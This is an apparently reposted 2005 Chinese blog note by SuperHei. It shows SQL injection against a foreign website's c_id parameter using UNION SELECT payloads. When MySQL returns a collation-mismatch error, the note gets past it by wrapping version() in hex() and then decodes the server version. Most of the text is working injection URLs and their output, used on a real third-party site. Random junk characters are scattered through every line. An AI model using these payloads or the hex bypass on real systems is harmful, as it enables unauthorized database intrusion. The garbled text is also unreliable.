本文作者:SuperHei
6 g: u+ q" }; b6 W8 d6 M3 v文章性质:原创
j* g y* \, c* d3 T发布日期:2005-10-18
7 B2 p2 b" s3 Q2 l, x) Z测试个国外的站时:5 s) n2 I' V) t- }
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*# j+ W# C) E! o% q, l
返回错误:
]' V% ]1 H3 [: m+ }- jIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
% I2 e2 j4 Z7 U. lMySQL Error No. 126% U" c: e; u- V+ Z G! m
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
5 l- ~! L4 d- C- d: d7 T# c解决办法:转为其他编码如hex。- m0 U. K" ]- p) r
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
3 G* J" C. u# Y3 h1 v5 u成功得到hex(version())的值为:8 ~& q5 Q+ V6 {' B6 ` o! X9 c9 t
342E312E332D62657461
2 {4 g0 ]9 a, q回Mysql查询下得到:9 L1 l/ I8 H, e( h
mysql> select 0x342E312E332D62657461;
4 j$ n8 C' t! @, W4 }+------------------------+* e! G4 P/ ?$ A5 c+ u. z& v4 q
| 0x342E312E332D62657461 |
# j/ d2 N, @' J3 M5 F) o* _+------------------------+( s' V& S. T# h" r% a. D. g
| 4.1.3-beta |
& n* a/ l( p' s v( D2 R: d9 t+------------------------+
4 t0 t; Q0 q7 ^/ j; \1 row in set (0.00 sec)% t6 z& J/ w2 B4 `, o- T7 t; c
$ C& i, S1 T' d. W4 k" f9 s$ c
|